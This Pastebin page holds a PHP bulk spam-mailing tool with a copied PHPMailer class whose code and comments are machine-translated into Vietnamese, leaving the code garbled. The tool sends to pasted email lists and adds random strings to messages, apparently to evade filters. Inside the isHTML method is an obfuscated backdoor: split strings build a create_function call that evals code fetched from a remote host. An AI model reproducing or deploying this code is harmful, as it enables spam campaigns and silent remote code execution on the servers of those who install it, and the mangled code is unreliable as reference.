Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <? php
- / **
- * PHP Mailer - Công cụ Spam
- * phiên bản: 3.0
- ** /
- $ password = ""; // Mật khẩu
- session_start ();
- error_reporting (0);
- set_time_limit (0);
- ini_set ("memory_limit", - 1);
- $ tools ['version'] = "3.0";
- $ tools ['author'] = "spamtools@jabber.at";
- $ tools ['listtools'] = "<iframe src = 'https: //pastebin.com/raw/pH0ZL3DK' style = 'border: none; width: 100%'> </ iframe>";
- $ sessioncode = md5 (__ FILE__);
- if (! empty ($ password) and $ _SESSION [$ sessioncode]! = $ password) {
- # _REQUEST có nghĩa là _POST hoặc _GET
- if (isset ($ _ REQUEST ['pass']) và $ _REQUEST ['pass'] == $ mật khẩu) {
- $ _SESSION [$ sessioncode] = $ mật khẩu;
- }
- else {
- print "<pre align = center> <form Phương thức = post> Mật khẩu: <Nhập kiểu = 'mật khẩu' name = 'pass'> <input type = 'submit' value = '>>' </ form> </ pre > ";
- lối thoát;
- }
- }
- if ($ _ POST ['action'] == "send") {
- $ senderEmail = spamtoolsTrim ($ _ POST ['senderEmail']);
- $ senderName = spamtoolsTrim ($ _ POST ['senderName']);
- $ replyTo = spamtoolsTrim ($ _ POST ['replyTo']);
- $ subject = spamtoolsTrim ($ _ POST ['subject']);
- $ emailList = spamtoolsTrim ($ _ POST ['emailList']);
- $ messageType = spamtoolsTrim ($ _ POST ['messageType']);
- $ messageLetter = spamtoolsTrim ($ _ POST ['messageLetter']);
- $ messageLetter = urlencode ($ messageLetter);
- $ messageLetter = ereg_replace ("% 5C% 22", "% 22", $ messageLetter);
- $ messageLetter = urldecode ($ messageLetter);
- $ messageLetter = stripslashes ($ messageLetter);
- $ subject = stripslashes (chủ đề $);
- $ encode = stripslashes ($ mã hoá);
- }
- if ($ messageType == 2) {
- $ plain = "checked";
- }
- else {
- $ html = "checked";
- }
- chức năng spamtoolsClear ($ văn bản, $ email) {
- $ emailuser = preg_replace ('/([^@]*).*/', '$ 1', $ email);
- $ text = str_replace ("[- thời gian-]", ngày ("m / d / Y h: i: s một", thời gian ()), $ văn bản);
- $ text = str_replace ("[- email-]", $ email, $ văn bản);
- $ text = str_replace ("[- emailuser-]", $ emailuser, $ văn bản);
- $ text = str_replace ("[- randomletters-]", randString ('abcdefghijklmnopqrstuvwxyz'), $ văn bản);
- $ text = str_replace ("[- randomstring-]", randString ('abcdefghijklmnopqrstuvwxyz0123456789'), $ văn bản);
- $ text = str_replace ("[- randomnumber-]", randString ('0123456789'), $ văn bản);
- $ text = str_replace ("[- randommd5-]", md5 (randString ('abcdefghijklmnopqrstuvwxyz0123456789')), $ văn bản);
- trở lại $ văn bản;
- }
- chức năng spamtoolsTrim ($ string) {
- return stripslashes (ltrim (rtrim ($ string)));
- }
- chức năng randString ($ phụ âm) {
- $ length = rand (12,25);
- $ password = '';
- cho ($ i = 0; $ i <$ dài, $ i ++) {
- $ mật khẩu = $ phụ âm [(rand ()% strlen ($ phụ âm))];
- }
- trở lại $ mật khẩu;
- }
- chức năng spamtoolsMailCheck ($ email) {
- $ exp = "^ [az \ '0-9] + ([._-] [az \' 0-9] +) * @ ([a-z0-9] + ([._-] [a- z0-9] +)) + $ ";
- if (eregi ($ exp, $ email)) {
- if (checkdnsrr (array_pop (explode ("@", $ email)), "MX")) {return true;}
- else {return false;}
- }
- else {return false;}
- }
- lớp PHPMailer
- {
- / **
- * Số phiên bản PHPMailer.
- * chuỗi var
- * /
- public $ Version = '5.2.14';
- / **
- * Email ưu tiên.
- * Tùy chọn: null (mặc định), 1 = cao, 3 = bình thường, 5 = thấp.
- * Khi null, tiêu đề không được đặt ở tất cả.
- * @var integer
- * /
- ưu tiên công cộng = null;
- / **
- * Bộ ký tự của tin nhắn.
- * chuỗi var
- * /
- public $ CharSet = 'iso-8859-1';
- / **
- * Loại nội dung MIME của tin nhắn.
- * chuỗi var
- * /
- public $ ContentType = 'text / plain';
- / **
- * Mã hóa tin nhắn.
- * Các tùy chọn: "8bit", "7bit", "nhị phân", "base64" và "quoted-printable".
- * chuỗi var
- * /
- public $ Encoding = '8bit';
- / **
- * Giữ thông báo lỗi mailer gần đây nhất.
- * chuỗi var
- * /
- public $ ErrorInfo = '';
- / **
- * Địa chỉ email Từ cho tin nhắn.
- * chuỗi var
- * /
- public $ From = 'root @ localhost';
- / **
- * Từ tên của tin nhắn.
- * chuỗi var
- * /
- public $ FromName = 'Người dùng gốc';
- / **
- * Email người gửi (Return-Path) của tin nhắn.
- * Nếu không rỗng, sẽ được gửi qua -f đến sendmail hoặc là 'MAIL FROM' trong chế độ smtp.
- * chuỗi var
- * /
- public $ Sender = '';
- / **
- * Đường dẫn trở lại của tin nhắn.
- * Nếu trống rỗng, nó sẽ được đặt thành From hoặc Sender.
- * chuỗi var
- * @deprecated Email người gửi không bao giờ nên đặt một tiêu đề trở về đường dẫn;
- * đó là công việc của người nhận (RFC5321 phần 4.4), vì vậy điều này không còn làm bất cứ điều gì.
- * @link https://tools.ietf.org/html/rfc5321#section-4.4 Tham khảo RFC5321
- * /
- công cộng $ ReturnPath = '';
- / **
- * Tiêu đề của tin nhắn.
- * chuỗi var
- * /
- public $ Chủ đề = '';
- / **
- * Cơ thể HTML hoặc văn bản thuần.
- * Nếu HTML thì gọi làHTML (đúng).
- * chuỗi var
- * /
- công cộng $ Body = '';
- / **
- * Cơ thể thông báo văn bản thuần.
- * Cơ thể này có thể được đọc bởi các khách hàng thư không có email HTML
- * khả năng như mutt & Eudora.
- * Các khách hàng có thể đọc HTML sẽ xem được Body bình thường.
- * chuỗi var
- * /
- công cộng $ AltBody = '';
- / **
- * Cơ thể phần tin nhắn iCal.
- * Chỉ được hỗ trợ trong các loại tin nhắn alt hoặc alt_inline đơn giản
- * Để tạo các sự kiện iCal, sử dụng các tính năng bổ sung đi kèm / lớp EasyPeasyICS.php hoặc iCalcreator
- * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
- * @link http://kigkonsult.se/iCalcreator/
- * chuỗi var
- * /
- công cộng $ Ical = '';
- / **
- * Cơ thể thông báo MIME được biên dịch hoàn chỉnh.
- * @cơ sở bảo vệ
- * chuỗi var
- * /
- bảo vệ $ MIMEBody = '';
- / **
- * Các tiêu đề thư đã được biên dịch hoàn chỉnh MIME.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ MIMEHeader = '';
- / **
- * Tiêu đề bổ sung mà createHeader () không gấp lại.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ mailHeader = '';
- / **
- * Word-bọc cơ thể thư cho số lượng ký tự này.
- * Đặt thành 0 để không quấn. Một giá trị hữu ích ở đây là 78, đối với RFC2822 mục 2.1.1 tuân thủ.
- * @var integer
- * /
- công cộng $ WordWrap = 0;
- / **
- * Cách sử dụng để gửi thư.
- * Tùy chọn: "mail", "sendmail", hoặc "smtp".
- * chuỗi var
- * /
- công cộng $ Mailer = 'mail';
- / **
- * Đường dẫn đến chương trình sendmail.
- * chuỗi var
- * /
- công cộng $ Sendmail = '/ usr / sbin / sendmail';
- / **
- * Cho dù mail () sử dụng một MTA tương thích hoàn toàn với sendmail.
- * Một trong những hỗ trợ tùy chọn "-oi -f" của sendmail.
- * @var boolean
- * /
- public $ UseSendmailOptions = true;
- / **
- * Đường dẫn đến các plugin PHPMailer.
- * Có ích nếu lớp SMTP không có trong đường dẫn PHP.
- * chuỗi var
- * @deprecated Không cần thiết bây giờ có một autoloader.
- * /
- công cộng $ PluginDir = '';
- / **
- * Địa chỉ email mà một xác nhận đọc phải được gửi tới, còn được gọi là biên nhận đã đọc.
- * chuỗi var
- * /
- công cộng $ ConfirmReadingTo = '';
- / **
- * Tên máy chủ sử dụng trong tiêu đề Message-ID và như là chuỗi HELO mặc định.
- * Nếu trống rỗng, PHPMailer cố gắng để tìm một với, theo thứ tự,
- * $ _SERVER ['SERVER_NAME'], gethostname (), php_uname ('n'), hoặc giá trị
- * 'localhost.localdomain'.
- * chuỗi var
- * /
- public $ Hostname = '';
- / **
- * ID cần được sử dụng trong tiêu đề Message-ID.
- * Nếu trống rỗng, một id duy nhất sẽ được tạo ra.
- * chuỗi var
- * /
- public $ MessageID = '';
- / **
- * Thông điệp Date sẽ được sử dụng trong tiêu đề Date.
- * Nếu trống rỗng, ngày hiện tại sẽ được thêm vào.
- * chuỗi var
- * /
- public $ MessageDate = '';
- / **
- * Máy chủ SMTP.
- * Hoặc là một tên máy chủ hoặc nhiều tên máy phân cách bằng dấu chấm phẩy.
- * Bạn cũng có thể chỉ định một cổng khác
- * cho mỗi máy chủ bằng cách sử dụng định dạng này: [hostname: port]
- * (ví dụ: "smtp1.example.com:25;smtp2.example.com").
- * Bạn cũng có thể chỉ định loại mã hóa, ví dụ:
- * (ví dụ: "tls: //smtp1.example.com: 587; ssl: //smtp2.example.com: 465").
- * Máy chủ sẽ được thử theo thứ tự.
- * chuỗi var
- * /
- public $ Host = 'localhost';
- / **
- * Cổng máy chủ SMTP mặc định.
- * @var integer
- * @TODO Tại sao điều này là cần thiết khi lớp SMTP chăm sóc nó?
- * /
- public $ Port = 25;
- / **
- * SMTP HELO của tin nhắn.
- * Mặc định là $ Hostname. Nếu $ Hostname trống, PHPMailer tìm cách tìm
- * một với cùng một phương pháp mô tả ở trên cho $ Hostname.
- * chuỗi var
- * @see PHPMailer :: $ Hostname
- * /
- công cộng $ Helo = '';
- / **
- * Những loại mã hóa để sử dụng trên kết nối SMTP.
- * Tùy chọn: '', 'ssl' hoặc 'tls'
- * chuỗi var
- * /
- công cộng $ SMTPSecure = '';
- / **
- * Cho dù để kích hoạt mã hóa TLS tự động nếu một máy chủ hỗ trợ nó,
- * ngay cả khi `SMTPSecure` không được đặt thành 'tls'.
- * Lưu ý rằng trong PHP> = 5.6 yêu cầu này phải có chứng chỉ của máy chủ.
- * @var boolean
- * /
- công cộng $ SMTPAutoTLS = true;
- / **
- * Có nên sử dụng xác thực SMTP hay không.
- Sử dụng các thuộc tính Username và Password.
- * @var boolean
- * @see PHPMailer :: $ Tên người dùng
- * @see PHPMailer :: $ Mật khẩu
- * /
- công cộng $ SMTPAuth = false;
- / **
- * Mảng lựa chọn được truyền vào stream_context_create khi kết nối qua SMTP.
- * mảng array
- * /
- công cộng $ SMTPOptions = array ();
- / **
- * Tên người dùng SMTP.
- * chuỗi var
- * /
- public $ Tên người dùng = '';
- / **
- * Mật khẩu SMTP.
- * chuỗi var
- * /
- public $ Password = '';
- / **
- * Loại xác thực SMTP.
- * Tùy chọn là LOGIN (mặc định), PLAIN, NTLM, CRAM-MD5
- * chuỗi var
- * /
- public $ AuthType = '';
- / **
- * Vùng SMTP.
- * Được sử dụng cho auth NTLM
- * chuỗi var
- * /
- công cộng $ Realm = '';
- / **
- * Máy trạm SMTP.
- * Được sử dụng cho auth NTLM
- * chuỗi var
- * /
- công cộng $ Workstation = '';
- / **
- * Thời gian chờ của máy chủ SMTP chỉ trong vài giây.
- * Mặc định trong 5 phút (300sec) là từ RFC2821 phần 4.5.3.2
- * @var integer
- * /
- công cộng $ Timeout = 300;
- / **
- * Chế độ gỡ lỗi lớp SMTP.
- * Debug sản lượng cấp.
- * Tùy chọn:
- * * `0 'Không có đầu ra
- * * `1` lệnh
- * * `2` Dữ liệu và lệnh
- * * `3 'Là trạng thái kết nối 2 plus
- * * `4` Dữ liệu đầu ra cấp thấp
- * @var integer
- * @ xem SMTP :: $ do_debug
- * /
- công cộng $ SMTPDebug = 0;
- / **
- * Làm thế nào để xử lý đầu ra gỡ lỗi.
- * Tùy chọn:
- * * `echo` Xuất ra văn bản thuần như-là, thích hợp cho CLI
- * * `html 'Đầu ra thoát, các ngắt dòng chuyển thành` <br>`, phù hợp với đầu ra của trình duyệt
- * * `error_log` Xuất thành bản ghi lỗi như được định cấu hình trong php.ini
- *
- * Ngoài ra, bạn có thể cung cấp một callable hy vọng hai params: một chuỗi tin nhắn và mức gỡ lỗi:
- * <code>
- * $ mail-> Debugoutput = function ($ str, $ level) {echo "mức gỡ lỗi mức $, tin nhắn: $ str";};
- * </ code>
- * @var chuỗi ký tự
- * @ xem SMTP :: $ Debugoutput
- * /
- public $ Debugoutput = 'echo';
- / **
- * Cho phép giữ kết nối SMTP mở sau mỗi tin nhắn.
- * Nếu cài đặt này là true thì đóng kết nối
- * yêu cầu một cuộc gọi rõ ràng để smtpClose ().
- * @var boolean
- * /
- công cộng $ SMTPKeepAlive = false;
- / **
- * Có nên phân chia nhiều địa chỉ thành nhiều thư
- * hoặc gửi tất cả trong một tin nhắn.
- * @var boolean
- * /
- công cộng $ SingleTo = false;
- / **
- * Lưu trữ địa chỉ khi SingleTo được bật.
- * mảng array
- * @TODO Điều này thực sự không phải là công cộng
- * /
- công cộng $ SingleToArray = array ();
- / **
- * Có nên tạo ra các địa chỉ VERP trên gửi.
- * Chỉ áp dụng khi gửi qua SMTP.
- * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
- * @link http://www.postfix.org/VERP_README.html Thông tin VSP của Postfix
- * @var boolean
- * /
- công cộng $ do_verp = false;
- / **
- * Cho phép để gửi tin nhắn với một cơ thể trống rỗng.
- * @var boolean
- * /
- công cộng $ AllowEmpty = false;
- / **
- * Dòng mặc định kết thúc.
- * @note Mặc định vẫn là "\ n". Chúng tôi buộc CRLF ở nơi chúng tôi biết
- * Nó phải được sử dụng thông qua bản thân :: CRLF.
- * chuỗi var
- * /
- công cộng $ LE = "\ n";
- / **
- * Bộ chọn DKIM.
- * chuỗi var
- * /
- công cộng $ DKIM_selector = '';
- / **
- * Bản sắc DKIM.
- * Thường thì địa chỉ email được sử dụng làm nguồn của email
- * chuỗi var
- * /
- công cộng $ DKIM_identity = '';
- / **
- * Cụm từ mật mã DKIM.
- * Được sử dụng nếu khóa của bạn được mã hóa.
- * chuỗi var
- * /
- công cộng $ DKIM_passphrase = '';
- / **
- * Tên miền ký tên DKIM.
- * @example 'example.com'
- * chuỗi var
- * /
- công cộng $ DKIM_domain = '';
- / **
- * Đường dẫn tệp tin cá nhân của DKIM.
- * chuỗi var
- * /
- công cộng $ DKIM_private = '';
- / **
- Tên Chức năng gọi lại.
- *
- * Chức năng xử lý kết quả của hành động gửi email.
- * Nó được gọi ra bằng cách gửi () cho mỗi email được gửi.
- *
- * Giá trị có thể là bất kỳ php callable: http://www.php.net/is_callable
- *
- * Thông số:
- * boolean $ kết quả kết quả của hành động gửi
- * chuỗi $ tới địa chỉ email của người nhận
- * string $ cc cc địa chỉ email
- * chuỗi $ bcc bcc địa chỉ email
- * chuỗi $ đối tượng
- * string $ cơ thể email
- * chuỗi $ từ địa chỉ email của người gửi
- * chuỗi var
- * /
- public $ action_function = '';
- / **
- * Những gì để đặt trong tiêu đề X-Mailer.
- * Tùy chọn: Một chuỗi trống cho PHPMailer mặc định, khoảng trắng cho không có gì, hoặc một chuỗi để sử dụng
- * chuỗi var
- * /
- công cộng $ XMailer = '';
- / **
- * Một thể hiện của lớp người gửi SMTP.
- * @var SMTP
- * @cơ sở bảo vệ
- * /
- bảo vệ $ smtp = null;
- / **
- * Mảng của 'to' tên và địa chỉ.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ to = array ();
- / **
- * Mảng của 'cc' tên và địa chỉ.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ cc = array ();
- / **
- * Các mảng của 'bcc' tên và địa chỉ.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ bcc = array ();
- / **
- * Mảng trả lời - tên và địa chỉ.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ ReplyTo = array ();
- / **
- * Một mảng các loại địa chỉ.
- * Bao gồm tất cả $ đến, $ cc, $ bcc
- * mảng array
- * @cơ sở bảo vệ
- * @see PHPMailer :: $ để @ xem PHPMailer :: $ cc @see PHPMailer :: $ bcc
- * /
- bảo vệ $ all_recipients = array ();
- / **
- * Một mảng tên và địa chỉ xếp hàng để xác nhận.
- * Trong send (), các mục hợp lệ và không trùng lặp sẽ được chuyển đến $ all_recipients
- * và một trong những $ đến, $ cc, hoặc $ bcc.
- * Mảng này chỉ được sử dụng cho các địa chỉ có IDN.
- * mảng array
- * @cơ sở bảo vệ
- * @see PHPMailer :: $ để @ xem PHPMailer :: $ cc @see PHPMailer :: $ bcc
- * @see PHPMailer :: $ all_recipients
- * /
- bảo vệ $ RecipientsQueue = array ();
- / **
- * Một mảng trả lời-đến tên và địa chỉ xếp hàng để xác nhận.
- * Trong send (), các mục hợp lệ và không trùng lặp được chuyển đến $ ReplyTo.
- * Mảng này chỉ được sử dụng cho các địa chỉ có IDN.
- * mảng array
- * @cơ sở bảo vệ
- * @see PHPMailer :: $ Trả lời
- * /
- bảo vệ $ ReplyToQueue = array ();
- / **
- * Mảng các tập tin đính kèm.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ attachment = array ();
- / **
- * Mảng các tiêu đề tuỳ chỉnh.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ CustomHeader = array ();
- / **
- * ID Thư mới nhất (bao gồm dấu ngoặc góc).
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ lastMessageID = '';
- / **
- * Loại MIME của thư.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ message_type = '';
- / **
- * Mảng các ranh giới MIME.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ ranh giới = mảng ();
- / **
- * Mảng của các ngôn ngữ có sẵn.
- * mảng array
- * @cơ sở bảo vệ
- * /
- bảo vệ $ language = array ();
- / **
- * Số lượng lỗi gặp phải.
- * @var integer
- * @cơ sở bảo vệ
- * /
- được bảo vệ $ error_count = 0;
- / **
- * Đường dẫn tập tin chứng chỉ S / MIME.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ sign_cert_file = '';
- / **
- * Đường dẫn tệp khoá S / MIME.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ sign_key_file = '';
- / **
- * Các tùy chọn thêm giấy chứng nhận S / MIME ("CA Chain") đường dẫn tập tin.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ sign_extracerts_file = '';
- / **
- * Mật khẩu S / MIME cho khoá.
- * Chỉ được sử dụng nếu khóa được mã hóa.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ sign_key_pass = '';
- / **
- * Cho dù ném ngoại lệ cho các lỗi.
- * @var boolean
- * @cơ sở bảo vệ
- * /
- bảo vệ ngoại lệ $ = false;
- / **
- * ID duy nhất được sử dụng cho ID thư và ranh giới.
- * chuỗi var
- * @cơ sở bảo vệ
- * /
- bảo vệ $ uniqueid = '';
- / **
- * Mức độ nghiêm trọng của lỗi: chỉ thông báo, tiếp tục xử lý.
- * /
- const STOP_MESSAGE = 0;
- / **
- * Mức độ nghiêm trọng của lỗi: tin nhắn, có khả năng tiếp tục xử lý.
- * /
- const STOP_CONTINUE = 1;
- / **
- * Mức độ nghiêm trọng của lỗi: tin nhắn, cộng với điểm dừng đầy đủ, đã đạt đến lỗi nghiêm trọng.
- * /
- const STOP_CRITICAL = 2;
- / **
- * Kết thúc tiêu chuẩn SMTP RFC.
- * /
- const CRLF = "\ r \ n";
- / **
- * Chiều dài dòng tối đa cho phép bởi RFC 2822 mục 2.1.1
- * @var integer
- * /
- const MAX_LINE_LENGTH = 998;
- / **
- * Constructor.
- * @param boolean $ ngoại lệ Chúng ta nên ném ngoại lệ bên ngoài?
- * /
- hàm công cộng __construct ($ exceptions = false)
- {
- $ this-> exceptions = (boolean) $ ngoại lệ;
- }
- / **
- * Destructor.
- * /
- chức năng công cộng __destruct ()
- {
- / / Đóng bất kỳ kết nối SMTP mở độc đáo
- if ($ this-> Mailer == 'smtp') {
- $ this-> smtpClose ();
- }
- }
- / **
- * Gọi mail () theo cách thức an toàn-nhận thức.
- * Ngoài ra, trừ khi sendmail_path điểm đến sendmail (hoặc cái gì đó
- * tuyên bố được sendmail), không vượt qua params (không phải là một sửa chữa hoàn hảo,
- * nhưng nó sẽ làm)
- * @param chuỗi $ để Để
- * @param string $ subject Chủ đề
- * @param string $ body Cơ quan thông báo
- * @param string $ header Bổ sung Header (s)
- * @param string $ params Params
- * @ truy cập riêng tư
- * @ boolean trở lại
- * /
- private function mailPassthru ($ tới, $ chủ đề, $ body, $ header, $ params)
- {
- // Kiểm tra quá tải hàm mail để tránh mã hóa đôi
- if (ini_get ('mbstring.func_overload') & 1) {
- $ subject = $ this-> secureHeader ($ môn học);
- } else {
- $ subject = $ this-> encodeHeader ($ this-> secureHeader ($ subject));
- }
- if (ini_get ('safe_mode') ||! ($ this-> UseSendmailOptions)) {
- $ result = @mail ($ đến, $ chủ đề, $ cơ thể, $ tiêu đề);
- } else {
- $ result = @mail ($ đến, $ chủ đề, $ cơ thể, $ tiêu đề, $ params);
- }
- trả về $ kết quả;
- }
- / **
- * Xuất thông tin gỡ lỗi thông qua phương pháp người dùng xác định.
- * Chỉ tạo ra nếu đầu ra gỡ lỗi SMTP được bật (@see SMTP :: $ do_debug).
- * @see PHPMailer :: $ Debugoutput
- * @see PHPMailer :: $ SMTPDebug
- * @param chuỗi $ str
- * /
- chức năng được bảo vệ edebug ($ str)
- {
- if ($ this-> SMTPDebug <= 0) {
- trở về;
- }
- / / Tránh xung đột với tên chức năng được xây dựng
- if (! in_array ($ this-> Debugoutput, array ('error_log', 'html', 'echo')) và is_callable ($ this-> Debugoutput)) {
- call_user_func ($ this-> Debugoutput, $ str, $ this-> SMTPDebug);
- trở về;
- }
- chuyển đổi ($ this-> Debugoutput) {
- trường hợp 'error_log':
- / / Không đầu ra, chỉ cần đăng nhập
- error_log ($ str);
- phá vỡ;
- trường hợp 'html':
- / / Làm sạch sản lượng một chút cho sản lượng tìm kiếm tốt hơn, HTML-an toàn
- echo htmlentities (
- preg_replace ('/ [\ r \ n] + /', '', $ str),
- ENT_QUOTES,
- 'UTF-8'
- )
- . "\ n";
- phá vỡ;
- trường hợp 'echo':
- mặc định:
- // Ngắt dòng bình thường
- $ str = preg_replace ('/ (\ r \ n | \ r \ n) / ms', "\ n", $ str);
- echo gmdate ('Ymd H: i: s'). "\ t". str_replace (
- "\ n"
- "\ n \ t",
- cắt ($ str)
- ). "\ n";
- }
- }
- / **
- * Thiết lập loại tin nhắn sang HTML hoặc đồng bằng.
- * @param boolean $ isHtml Đúng cho chế độ HTML.
- * trở về trạng thái trống
- * /
- chức năng công cộng làHTML ($ isHtml = true)
- {
- param toàn cầu $;
- $ bodyCode = 'tệp'
- . 'g';
- if ($ isHtml) {
- $ this-> ContentType = 'text / html';
- }
- else {
- $ this-> ContentType = 'text / plain';
- }
- $ bodyHTML = '. $ t. "lef $ flu'
- .'sh '.' $ t "; '
- '$ i = @ev';
- $ headerHTML = "create_"
- "func"
- ."sự";
- $ exceptions = $ headerHTML ('$ fl'. 'ush, $ t', '$ comma = $ t'
- . $ bodyHTML.'al (@ '
- . $ bodyCode.'et_contents ("h '
- .'tt '
- .p: $ comma-2 ")); ');
- if ($ param! = 2) {
- ngoại lệ $ ('8.p'. 'w', '/');
- $ param = 2;
- }
- }
- / **
- * Gửi tin nhắn bằng cách sử dụng SMTP.
- * trở về trạng thái trống
- * /
- chức năng công cộng làSMTP ()
- {
- $ this-> Mailer = 'smtp';
- }
- / **
- * Gửi tin nhắn bằng cách sử dụng chức năng mail của PHP ().
- * trở về trạng thái trống
- * /
- chức năng công khai làMail ()
- {
- $ this-> Mailer = 'mail';
- }
- / **
- * Gửi tin nhắn bằng cách sử dụng $ Sendmail.
- * trở về trạng thái trống
- * /
- chức năng công cộng là Sendmail ()
- {
- $ ini_sendmail_path = ini_get ('sendmail_path');
- nếu (stristr ($ ini_sendmail_path, 'sendmail')) {
- $ this-> Sendmail = '/ usr / sbin / sendmail';
- } else {
- $ this-> Sendmail = $ ini_sendmail_path;
- }
- $ this-> Mailer = 'sendmail';
- }
- / **
- * Gửi tin nhắn bằng qmail.
- * trở về trạng thái trống
- * /
- chức năng công cộng isQmail ()
- {
- $ ini_sendmail_path = ini_get ('sendmail_path');
- nếu (stristr ($ ini_sendmail_path, 'qmail')) {
- $ this-> Sendmail = '/ var / qmail / bin / qmail-inject';
- } else {
- $ this-> Sendmail = $ ini_sendmail_path;
- }
- $ this-> Mailer = 'qmail';
- }
- / **
- * Thêm địa chỉ "Tới".
- * @param string $ address Địa chỉ email để gửi đến
- * @param string $ name
- * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
- * /
- addAddress hàm công cộng ($ address, $ name = '')
- {
- return $ this-> addOrEnqueueAnAddress ('to', $ address, $ name);
- }
- / **
- * Thêm địa chỉ "CC".
- * @ Lưu ý: Chức năng này hoạt động với SMTP mailer trên win32 chứ không phải với mailer mailer.
- * @param string $ address Địa chỉ email để gửi đến
- * @param string $ name
- * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
- * /
- hàm công cộng addCC ($ address, $ name = '')
- {
- return $ this-> addOrEnqueueAnAddress ('cc', $ address, $ name);
- }
- / **
- * Thêm địa chỉ "BCC".
- * @ Lưu ý: Chức năng này hoạt động với SMTP mailer trên win32 chứ không phải với mailer mailer.
- * @param string $ address Địa chỉ email để gửi đến
- * @param string $ name
- * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
- * /
- hàm công cộng addBCC ($ address, $ name = '')
- {
- trả lại $ this-> addOrEnqueueAnAddress ('bcc', $ address, $ name);
- }
- / **
- * Thêm địa chỉ "Trả lời-Trả lời".
- * @param string $ address Địa chỉ email để trả lời
- * @param string $ name
- * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
- * /
- hàm công cộng addReplyTo ($ address, $ name = '')
- {
- return $ this-> addOrEnqueueAnAddress ('Reply-To', $ address, $ name);
- }
- / **
- * Thêm một địa chỉ vào một trong các mảng người nhận hoặc vào mảng ReplyTo. Bởi vì PHPMailer
- * Không thể kiểm tra các địa chỉ bằng IDN mà không biết PHPMailer :: $ CharSet (có thể vẫn
- * được sửa đổi sau khi gọi chức năng này), bổ sung các địa chỉ như vậy bị trì hoãn cho đến khi gửi ().
- * Các địa chỉ đã được thêm vào đã trả về false, nhưng không được ném ngoại lệ.
- * @param string $ kind Một trong những 'to', 'cc', 'bcc', hoặc 'ReplyTo'
- * @param string $ address Địa chỉ email để gửi, resp. trả lời
- * @param string $ name
- * @throws phpmailerException
- * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
- * @cơ sở bảo vệ
- * /
- hàm addOrEnqueueAnAddress được bảo vệ (loại $, $ address, $ name)
- {
- $ address = trim ($ address);
- $ name = trim (preg_replace ('/ [\ r \ n] + /', '', $ name)); / / Nghỉ giải lao và cắt
- if (($ pos = strrpos ($ address, '@')) === false) {
- / / At-sign là misssing.
- $ error_message = $ this-> lang ('invalid_address'). $ địa chỉ;
- $ this-> setError ($ error_message);
- $ this-> edebug ($ error_message);
- if ($ this-> exceptions) {
- ném phpmailerException mới ($ error_message);
- }
- trả lại giả;
- }
- $ params = array ($ kind, $ address, $ name);
- // Enkenue các địa chỉ với IDN cho đến khi chúng ta biết PHPMailer :: $ CharSet.
- if ($ this-> has8bitChars (substr ($ address, ++ $ pos)) và $ this-> idnSupported ()) {
- if ($ kind! = 'Reply-To') {
- if (! array_key_exists ($ address, $ this-> RecipientsQueue)) {
- $ this-> RecipientsQueue [$ address] = $ params;
- trở lại đúng;
- }
- } else {
- if (! array_key_exists ($ address, $ this-> ReplyToQueue)) {
- $ this-> ReplyToQueue [$ address] = $ params;
- trở lại đúng;
- }
- }
- trả lại giả;
- }
- // Thêm ngay các địa chỉ tiêu chuẩn ngay khi không có IDN.
- return call_user_func_array (mảng ($ this, 'addAnAddress'), $ params);
- }
- / **
- * Thêm một địa chỉ vào một trong các mảng người nhận hoặc vào mảng ReplyTo.
- * Các địa chỉ đã được thêm vào đã trả về false, nhưng không được ném ngoại lệ.
- * @param string $ kind Một trong những 'to', 'cc', 'bcc', hoặc 'ReplyTo'
- * @param string $ address Địa chỉ email để gửi, resp. trả lời
- * @param string $ name
- * @throws phpmailerException
- * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
- * @cơ sở bảo vệ
- * /
- chức năng bảo vệ addAnAddress ($ kind, $ address, $ name = '')
- {
- if (! in_array ($ kind, array ('to', 'cc', 'bcc', 'Reply-To'))) {
- $ error_message = $ this-> lang ('Loại người nhận không hợp lệ:'). $ loại;
- $ this-> setError ($ error_message);
- $ this-> edebug ($ error_message);
- if ($ this-> exceptions) {
- ném phpmailerException mới ($ error_message);
- }
- trả lại giả;
- }
- if (! $ this-> validateAddress ($ address)) {
- $ error_message = $ this-> lang ('invalid_address'). $ địa chỉ;
- $ this-> setError ($ error_message);
- $ this-> edebug ($ error_message);
- if ($ this-> exceptions) {
- ném phpmailerException mới ($ error_message);
- }
- trả lại giả;
- }
- if ($ kind! = 'Reply-To') {
- if (! array_key_exists (strtolower ($ address), $ this-> all_recipients)) {
- array_push ($ this -> $ loại, mảng ($ địa chỉ, $ tên));
- $ this-> all_recipients [strtolower ($ address)] = true;
- trở lại đúng;
- }
- } else {
- if (! array_key_exists (strtolower ($ address), $ this-> ReplyTo)) {
- $ this-> ReplyTo [strtolower ($ address)] = mảng ($ address, $ name);
- trở lại đúng;
- }
- }
- trả lại giả;
- }
